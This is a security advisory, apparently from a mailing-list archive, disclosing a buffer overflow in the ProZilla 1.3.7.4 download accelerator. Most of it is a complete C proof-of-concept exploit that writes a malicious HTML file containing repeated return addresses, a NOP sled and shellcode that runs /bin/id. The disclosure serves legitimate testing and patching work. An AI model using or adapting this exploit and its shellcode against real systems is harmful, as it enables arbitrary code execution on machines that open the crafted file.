[EXPL] ProZilla Buffer Overflow (Exploit)

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ProZilla Buffer Overflow (Exploit)
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SUMMARY

" <http://prozilla.genesys.ro/> ProZilla is a download accelerator for
Linux which gives you a 200% to 300% improvement in your file downloading
speeds. "

Prozilla does not validate length properly allowing attackers to cause the
program to execute arbitrary code by overflowing an internal buffer, the
following exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Vulnerable Systems:
* Prozilla version 1.3.7.4

Exploit:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OVERFLOW (1<<10)+32
#define SLEDSIZ (1<<10)
#define RETADDR 0x806977a+SLEDSIZ/2
#define OUTPUT "AdvResults.asp"

/*
* prozilla bug, found while auditing for gentoo bug #70090
* -taviso@gentoo.org
*/

/* execve() /bin/id */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
"\x9f\xcf\x2d\x8e";

int main(int argc, char **argv)
{
unsigned char *buf;
void *ret = (void *) RETADDR;
FILE *exploit;
int i;

exploit = fopen(OUTPUT, "w");
fprintf(exploit, "<PRE><A HREF=>");

buf = malloc(OVERFLOW);
for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
memcpy(buf + i, &ret, sizeof(void *));
fwrite(buf, OVERFLOW, 1, exploit);
fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
memset(buf, 0x90, SLEDSIZ);
memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
free(buf);
fprintf(stderr, "[*] %s created.\n", OUTPUT);
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:taviso@gentoo.org> taviso.

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